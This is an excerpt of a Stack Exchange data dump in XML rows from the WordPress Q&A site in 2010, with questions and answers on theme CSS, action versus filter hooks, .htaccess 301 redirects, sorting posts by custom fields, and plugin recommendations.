  <row Id="1006" PostTypeId="1" CreationDate="2010-08-29T09:23:35.093" Score="0" ViewCount="103" Body="&lt;p&gt;I'm a designer trying to learn php, so I can't fully understand where the problem is coming from. That being said, I have a theme that has deactivated the use of css styling on the main page where posts are mainly displayed. This is the (f8) lite theme by the way. I want to create links useing divs and what not, but when i throw in the code it dosent show up. But when you enter the post the css is rendered out perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the culprit has something to do with the plugin it comes ingrained with called &quot;get the image&quot;. And no there arn't any options to turn off the plugin. Please if anyone has any ideas, please fire away. &#xA;And TIA&lt;/p&gt;&#xA;" LastEditorUserId="7" LastEditorDisplayName="" LastEditDate="2010-08-30T19:28:39.133" LastActivityDate="2010-08-30T19:28:39.133" Title="Theme deactived html and css styling on home page posts" Tags="&lt;plugins&gt;&lt;css&gt;&lt;html&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="1007" PostTypeId="1" AcceptedAnswerId="1008" CreationDate="2010-08-29T12:27:31.727" Score="4" ViewCount="465" Body="&lt;p&gt;I have been looking at the plugin API a bit more in depth recently and I was wondering what real differences there were between action and filter hooks. They both are events that receive data as a parameter and they seem to both be able to do the same things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I see that actions are called when actions take place and filters are called when data is manipulated, but it seems to just be a semantic naming difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides semantics and what they are used for, what real differences are there between them?&lt;/p&gt;&#xA;" OwnerUserId="57" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-29T13:23:51.560" LastActivityDate="2010-08-29T22:29:09.637" Title="Difference Between Filter and Action Hooks?" Tags="&lt;plugin-development&gt;&lt;hooks&gt;&lt;api&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="1008" PostTypeId="2" ParentId="1007" CreationDate="2010-08-29T13:57:19.120" Score="7" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Sruly&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've pretty much answered your own question, but I'll elaborate a bit. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Action Hooks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Actions Hooks&lt;/em&gt; are intended for use when WordPress core or some plugin or theme is giving you the opportunity to insert your code at a certain point and do one or more of the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;code&gt;echo&lt;/code&gt; to &lt;strong&gt;inject some HTML&lt;/strong&gt; or other content into the response buffer,&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Modify global variable state&lt;/strong&gt; for one or more variables, and/or &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Modify the parameters&lt;/strong&gt; passed to your hook function (assuming the hook was called by &lt;code&gt;do_action_ref_array()&lt;/code&gt; instead of &lt;code&gt;do_action()&lt;/code&gt; since the latter does not support passing variables &lt;em&gt;by-reference&lt;/em&gt;.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Filter Hooks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Filter Hooks&lt;/em&gt; behave very similar to &lt;em&gt;Action Hooks&lt;/em&gt; but their intended use is to receive a value and potentially return a modified version of the value. A filter hook could also be used just like an Action Hook i.e. to modify a global variable or generate some HTML, assuming that's what you need to do when the hook is called. One thing that is very important about Filter Hooks that you don't need to worry about with Action Hooks is that the person using a Filter Hook &lt;strong&gt;&lt;em&gt;must&lt;/em&gt;&lt;/strong&gt; return (a modified version of) the first parameter it was passed. A common newbie mistake is to forget to return that value!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using Additional Parameters to Provide Context in Filter Hooks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;As an aside&lt;/em&gt; I felt that Filter Hooks were hobbled in earlier versions of WordPress because they would receive only one parameter; i.e they would get a value to modify but no 2nd or 3rd parameters to provide any context. Lately, and positively however, it seems the WordPress core team has joyously (for me) been adding extra parameters to Filter Hooks so that you can discover more context. A good example is the &lt;code&gt;posts_where&lt;/code&gt; hook; I believe a few versions back it only accepted one parameter being the current query's &lt;em&gt;&quot;where&quot;&lt;/em&gt; class SQL but now it accepts both the where clause &lt;em&gt;and&lt;/em&gt; a reference to current instance of the &lt;code&gt;WP_Query&lt;/code&gt; class that is invoking the hook.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;So what's the Real Difference?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In reality Filter Hooks are pretty much a superset of Action Hooks. The former can do anything the latter can do and a bit more albeit the developer doesn't have the responsibility to return a value with the Action Hook that he or she does with the Filter Hook. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Giving Guidance and Telegraphing Intent&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;But that's probably not what is important. I think what is important is that by a developer choosing to use an Action Hook vs. a Filter Hook or vice versa they are &lt;strong&gt;telegraphing their intent&lt;/strong&gt; and thus &lt;strong&gt;giving guidance&lt;/strong&gt; to the themer or plugin developer who might be using the hook. In essence they are saying either &lt;em&gt;&quot;I'm going to call you, do whatever you need to do&quot;&lt;/em&gt; &lt;strong&gt;&lt;em&gt;OR&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;&quot;I've going to pass you this value to modify but be sure that you pass it back&lt;/em&gt;.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ultimately &lt;strong&gt;I think that guidance provided by the choice of hook type is the real value behind the distinction&lt;/strong&gt;. IMO, anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-29T22:29:09.637" LastActivityDate="2010-08-29T22:29:09.637" />
  <row Id="1009" PostTypeId="2" ParentId="715" CreationDate="2010-08-29T14:24:35.170" Score="7" ViewCount="" Body="&lt;h2&gt;Use the Settings API before add_option&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Instead of adding options to the DB via the add_option function, you should store them as an array with using the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; that takes care of everything for you.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-01-06T21:11:26.643" LastActivityDate="2011-01-06T21:11:26.643" CommunityOwnedDate="2010-08-29T14:24:35.170" CommentCount="1" />
  <row Id="1010" PostTypeId="1" CreationDate="2010-08-29T14:55:17.497" Score="0" ViewCount="247" Body="&lt;p&gt;Wondering what the piece of code I can use to change the look of my sidebar for example how &quot;categories&quot; &quot;tag clouds&quot; and so put themselves in boxes? Right now many of them flush with the box (right), has been the center but it was not pretty. Does not own any idea what it might be to change, it is in the style sheet or in the sidebar for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this theme: &lt;a href=&quot;http://wp-themes.com/colors/?TB_iframe=true&quot; rel=&quot;nofollow&quot;&gt;http://wp-themes.com/colors/?TB_iframe=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;have tested with padding like this: &lt;code&gt;.widget { margin-bottom:12px; padding: 5px; }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions on how I can fix this? I am a noob in this is also not very good at English but give it a try anyway. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Style.css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sidebar Styles&#xA;============================================================================================================================================&#xA;*/&#xA;#sidebarLayout {width:228px; float:left; margin-left:15px; margin-top:1px;}&#xA;.widget { margin-bottom:12px;}&#xA;.wdTitle {height:38px; width:228px; background:url(layout/wdTitleBg.png);}&#xA;.wdTitle h2 {color:#FFFFFF; font-size:10pt; font-weight:400; line-height:34px; margin-left:15px;}&#xA;.wdContent {background:#e1e5e7; width:227px; margin-left:1px; padding-bottom:30px; padding-top:3px;&#xA;line-hight:100%;}&#xA;.wdContent li:hover {no-repeat;}&#xA;.wdContent li {line-height:15px; height:35px; padding-left:25px; margin:1.5px 0px;}&#xA;.wdContent ul li ul { display:none; }&#xA;.wdFooter {height:4px; background:url(layout/wdFooterBg.png); width:227px; margin-left:1px;}&#xA;.wicon {width:34px; height:24px; background:url(layout/widgetIcon.png) no-repeat; float:left; margin-right:2px;}&#xA;/* &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sidebar.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sidebarLayout&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA; &amp;lt;div class=&quot;wdTitle&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Sök?&amp;lt;/h2&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;wdContent&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;icon&quot; id=&quot;searchIcon&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;wdFooter&quot;&amp;gt;&amp;lt;!-- .wdFooter for design only --&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- &amp;lt;?php if ( function_exists('wp_tag_cloud') ) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA; &amp;lt;div class=&quot;wdTitle&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Etikettmoln&amp;lt;/h2&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;wdContent&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;   &amp;lt;div id=&quot;etikettmoln&quot;&amp;gt;&#xA;    &amp;lt;?php $tags = wp_tag_cloud('orderby=count&amp;amp;order=RAND'); ?&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;wdFooter&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt; --&amp;gt;&#xA;&#xA; &amp;lt;?php if(!function_exists(&quot;dynamic_sidebar&quot;) || ! dynamic_sidebar('sidebar')) : ?&amp;gt;&amp;lt;?php endif;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use WordPress for those of you who did not understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b3tty.com&lt;/p&gt;&#xA;" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-30T12:35:55.757" LastActivityDate="2010-08-30T18:05:07.753" Title="Change in the sidebar" Tags="&lt;3.0.1&gt;&lt;css&gt;&lt;php&gt;" AnswerCount="1" />
  <row Id="1011" PostTypeId="1" CreationDate="2010-08-29T16:40:11.960" Score="1" ViewCount="913" Body="&lt;p&gt;I fear this may be too much to ask here, so if so, please feel free to tell me of another place to learn.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Help with Redirections&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I'm cleaning up a badly developed site and migrating wordpress from a subdirectory. I've spent hours trying to wrap my head around the logistics of redirections and regex. I think I'm getting a handle on it, but would really appreciate confirmation that I'm doing this right, and any advice on best practices. If anyone knows of any good tutorials with how-to examples, I'd appreciate that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows of &lt;em&gt;really&lt;/em&gt; simple plugins for this, I'd be extremely grateful. I've been looking at the Redirections plugin, but find it very confusing (headache!). In any case, my ideas below (sources are followed by =&gt; then target) are what I've gathered from the Redirections instructions and screenshots and other tutorials I've scoured. I'm pretty sure that they'd be applicable regardless of whether I put them directly in the .htaccess file or use Redirections or another plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here's what I'm trying to accomplish and how I think it needs to be done : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To move Wordpress from the subdirectory to the root:&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;/wp/(.*) =&gt; /$1&#xA;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For all pages currently within subdirectories in the root, I want to delete and/or combine a bunch of pages into one top level page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;/products-directory/(.*) =&gt; /products-top-level-page  &#xA;&#xA;/about-directory/(.*) =&gt; /about-top-level-page  &#xA;&#xA;/services-directory/(.*) =&gt; /services-top-level-page  &#xA;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For a bunch of top-level pages matching a specific pattern, I want to direct them into specific categories, e.g. the file names all start with the same two words like this: same-word-variation-variation.html and I want them to keep their existing file names -- if I set my permalinks to end with `.html`, this will work, I believe:&lt;/p&gt;  &#xA;&lt;pre&gt;&#xA;/same-word(.*) =&gt; /newcategory/$1&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I create the rule if I don't have permalinks ending in `.html`? (I think I saw ! is the &quot;not&quot; character, but not sure how to use here -- is it):  &#xA;&#xA;&lt;pre&gt;&#xA;/same-word(.*) =&gt; /newcategory/$1!\.html&#xA;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;And then, once I have the specific pages identified and redirected as above, I'll be deleting all the rest (garbage) and want to send users to the home page (or maybe a random post?).&lt;/p&gt;  &#xA;&#xA;&lt;p&gt;So, 2 questions here:&lt;/p&gt;&#xA;&lt;ol&gt;  &#xA;&lt;li&gt;&lt;p&gt;How do I create the rule that says &quot;for everything except the files already redirected as above, do this&quot;&lt;/p&gt;&lt;/li&gt; &#xA;&lt;li&gt;&lt;p&gt;How would I stop that rule from applying to new pages and posts I create from now on?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One idea is that by deleting, I'd be getting a 404 page not found, so I should create the rule for the 404 page itself? Is that what I want to do?&lt;/p&gt;  &#xA;&#xA;&lt;p&gt;As I've said, the site has been badly developed (with the client instructing people to just &quot;throw up a page&quot; with no regard for proper architecture, SEO, etc.) -- it has virtually no ranking or external / back links to worry about, but I want to understand the best approach from an SEO and proper development perspective.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;Also, should I move existing images etc. into the wp-content directory or leave them in their existing sub-directory/ies? My inclination is to really go for a 'clean-sweep' - get rid of everything that seems untidy, but I'm not sure if this would be more work than it's worth…&lt;/li&gt;  &#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any and all guidance.&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-30T01:19:54.250" LastActivityDate="2010-08-31T23:51:21.130" Title="Creating 301 Redirects for Post, Page, Category and Image URLs?" Tags="&lt;seo&gt;&lt;redirect&gt;&lt;urls&gt;&lt;http-301&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="1012" PostTypeId="2" ParentId="965" CreationDate="2010-08-29T16:49:20.810" Score="0" ViewCount="" Body="&lt;p&gt;Yeah, the export / import mechanism would be the best way to go.  I &lt;em&gt;think&lt;/em&gt; the multisite database layout is incompatible with a single site configuration.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2010-08-29T16:49:20.810" />
  <row Id="1013" PostTypeId="2" ParentId="923" CreationDate="2010-08-29T16:56:26.783" Score="0" ViewCount="" Body="&lt;p&gt;The logo is controlled by the theme ... so you'll have to use a theme that offers that option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could edit the them to change the logo.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2010-08-29T16:56:26.783" />
  <row Id="1014" PostTypeId="1" AcceptedAnswerId="1026" CreationDate="2010-08-29T17:21:29.897" Score="0" ViewCount="1529" Body="&lt;p&gt;Ok, so I'm using the &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WPAlchemy class&lt;/strong&gt;&lt;/a&gt; to create custom field write panels in the write post page, and so far everything has gone great... However, there's one issue I can't seem to figure out. I'm trying to use the custom field values of &quot;event dates&quot; to sort events on a custom page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the instructions &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query#Query_based_on_Custom_Field_and_Sorted_by_Value&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;&quot;Query based on Custom Field and Sorted by Value&quot;&lt;/em&gt;&lt;/a&gt; found in the codex to try and setup the custom query, but it doesn't seem to be working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code from the custom page template for the &quot;&lt;em&gt;Events&lt;/em&gt;&quot; page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* &#xA;  Template Name: Events&#xA;*/&#xA;get_header();&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;depthead&quot; class=&quot;grid_12&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Upcoming Events&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/depthead--&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;$querystr = &quot;&#xA;  SELECT wposts.* &#xA;  FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta&#xA;  WHERE wposts.ID = wpostmeta.post_id &#xA;  AND wpostmeta.meta_key = '_events_meta[event_date]' &#xA;  AND wposts.post_type = 'post'&#xA;&#xA;  ORDER BY wpostmeta.meta_value DESC&#xA;&quot;;&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;?php if ($pageposts): global $post; $cnt=0; foreach ($pageposts as $post): $cnt++; setup_postdata($post); ?&amp;gt;&#xA;&amp;lt;div id=&quot;article-&amp;lt;?php echo get_the_ID(); ?&amp;gt;&quot; class=&quot;listingbox grid_3&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;deptpostimg&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $events_metabox-&amp;gt;get_the_value('event_thumbnail'); ?&amp;gt;&quot; style=&quot;outline:1px solid #000&quot; alt=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;span class=&quot;event-date&quot;&amp;gt;&amp;lt;?php $events_metabox-&amp;gt;the_value('event_date'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--/deptpostimg--&amp;gt;&#xA;  &amp;lt;h4 class=&quot;listing-titles&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;  &amp;lt;div class=&quot;excerpt&quot;&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--/excerpt--&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/article-&amp;lt;?php echo get_the_ID(); ?&amp;gt;--&amp;gt;&#xA;&amp;lt;?php if($cnt % 4 == 0) { ?&amp;gt;&#xA;&amp;lt;div class=&quot;grid_12 rowseparator&quot;&amp;gt;&#xA;  &amp;lt;hr /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/rowseparator--&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/wrapper--&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's like it's not picking up the custom field keys... The class I'm using to create these custom write panels stores them all as an array, hence the reason I've attempted to access them by using: &lt;code&gt;_events_meta[event_date]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe that's the problem, but I don't know how to fix it if it is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Here's an image so you can see just how the custom fields are stored in the database. Hopefully that helps you figure out why on earth &lt;code&gt;_events_meta[event_date]&lt;/code&gt; won't work in the query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://staticloader.com/phpmyadmin.png&quot; alt=&quot;Screenshot of PHPMyAdmin with an Insert Query for the WordPress database&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-29T22:34:54.743" LastActivityDate="2010-08-30T04:06:39.820" Title="Sorting WordPress Posts via Custom Field Values?" Tags="&lt;custom-field&gt;&lt;events&gt;&lt;sort&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1015" PostTypeId="2" ParentId="1014" CreationDate="2010-08-29T19:59:04.773" Score="1" ViewCount="" Body="&lt;p&gt;I also got a blog with custom fields regarding event. Here is the query I used in combination with the query_posts() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts($query_string . &quot;&amp;amp;meta_key=event_date_end&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=&quot;.date('Y-m-d').&quot;&amp;amp;meta_key=event_date_start&amp;amp;orderby=meta_value&amp;amp;order=ASC&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will select all posts with a custom field named event_date compare it with the current date (to filter out old events) and sort them by another custom field called event_start_date. I hope that complex exmaple shows you, how you should use the query_posts() function correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple selection that test only for the existance of a custom field looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=event_date'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A simple ORDER BY a custom field looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=event_date&amp;amp;orderby=meta_value&amp;amp;order=ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see many example in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;API description of the query_posts() function&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="462" LastActivityDate="2010-08-29T19:59:04.773" CommentCount="1" />
  <row Id="1016" PostTypeId="2" ParentId="1011" CreationDate="2010-08-29T20:15:33.427" Score="0" ViewCount="" Body="&lt;p&gt;There is a plugin for changing from one permalink struture to another, but I am quite sure that this will not be enough for your needs. You will have to use some .htaccess rewrite rules. I try to give you some examples for your need (not sure if they are all correct). Include all those lines into a file called &quot;.htaccess&quot; in the root of your server. Out it above of the wordpress rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;# your rules start here. Keep the following lines that has been produced by wordpress&#xA;RewriteBase /&#xA;RewriteRule wp/(.*)$ /$1 [R=301]&#xA;RewriteRule /products-directory/(.*)$ /products-top-level-page [R=301]&#xA;RewriteRule /about-directory/(.*)$ /about-top-level-page [R=301]&#xA;RewriteRule /services-directory/$ /services-top-level-page [R=301]&#xA;RewriteRule /same-word(.*)$ /newcategory/$1 [R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The flag [R=301] will tell the client browser or search engine, that it is a permanent redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will probably want to update all the permalinks within your wordpress database. I wrote an &lt;a href=&quot;http://kau-boys.de/datenbank/suchen-und-ersetzen-mit-mysql-datenbanken&quot; rel=&quot;nofollow&quot;&gt;article about updating string in the database&lt;/a&gt;. Unfortunately I haven't translated the post, yet. But the queries should be clear, otherwise just use the MySQL docs.&lt;/p&gt;&#xA;" OwnerUserId="462" LastActivityDate="2010-08-29T20:15:33.427" CommentCount="1" />
  <row Id="1017" PostTypeId="1" AcceptedAnswerId="1018" CreationDate="2010-08-29T21:14:27.590" Score="0" ViewCount="210" Body="&lt;p&gt;We're working on a plugin where any logged-in user has the ability to submit a new &quot;pitch&quot;, or standard post type with custom status of &quot;pitch&quot;. Once the pitch is in the system, other logged-in users can vote on the idea, volunteer to participate, or comment on the story in progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was simple to list all unpublished posts on a single view by querying the database for posts with post_status != 'publish'. I'd like to set it up so both logged-in and unlogged-in visitors can click through on the title and view the post on a single view as well. Default WordPress behavior is to return a 404 unless you have sufficient permissions. I believe &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/2.9.2/wp-includes/query.php#L2274&quot; rel=&quot;nofollow&quot;&gt;viewing permissions are handled in the query object&lt;/a&gt;, and I don't see a simple way to unset them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any creative ideas? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-30T01:21:01.440" LastActivityDate="2010-08-30T17:49:21.130" Title="Showing Unpublished Posts to Logged-out Users?" Tags="&lt;posts&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="1018" PostTypeId="2" ParentId="1017" CreationDate="2010-08-29T22:00:43.197" Score="0" ViewCount="" Body="&lt;p&gt;Answered my own question on this one. As it turns out, it was pretty simple in WordPress 2.9.2. Basically, I &lt;a href=&quot;http://github.com/studio20nyu/Assignment-Desk/commit/b4c74701cb6538bf89cb341efc3692b59dbff43f#L0R29&quot; rel=&quot;nofollow&quot;&gt;applied a filter to 'the_posts'&lt;/a&gt; which would run another query if the object was empty. Because we're looking up posts that haven't been published, we need to use our own custom SQL as well. Trying to use the WP_Query object will, well, put you in an endless recursive loop.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2010-08-29T22:00:43.197" />
  <row Id="1019" PostTypeId="1" AcceptedAnswerId="1020" CreationDate="2010-08-29T22:28:35.693" Score="0" ViewCount="52" Body="&lt;p&gt;Hey guys. Is there a plugin out there that can easily notify a user of a follow up reply to their comment? I used to use subscribe to comments but it hasn't been updated since 2007. Also, I think I remember being the 'unsubscribe' process to be pretty tedious or confusing. I would like it if each email had an 'unsubscribe' link at the bottom which instantly unsubscribed the user from that notification thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to continue using the WordPress comment system. I don't want to substitute it for something else like disqus.&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2010-08-29T23:09:16.157" Title="Comment Follow-Up Notifier?" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1020" PostTypeId="2" ParentId="1019" CreationDate="2010-08-29T23:09:16.157" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe-to-double-opt-in-comments/&quot; rel=&quot;nofollow&quot;&gt;Subscribe to Double-Opt-In Comments&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-29T23:09:16.157" CommentCount="2" />
  <row Id="1021" PostTypeId="1" CreationDate="2010-08-29T23:36:59.543" Score="2" ViewCount="227" Body="&lt;p&gt;How can I get a total word count of one author's posts?  I would like to be able to see what the total word count of their output is, summed across all of their posts (ideally with a breakdown by category/tag/page-or-post).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's gotta be a contemporary plugin for this. &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2010-08-31T22:33:34.627" Title="Total Word Count For Posts By One Author" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" FavoriteCount="1" />
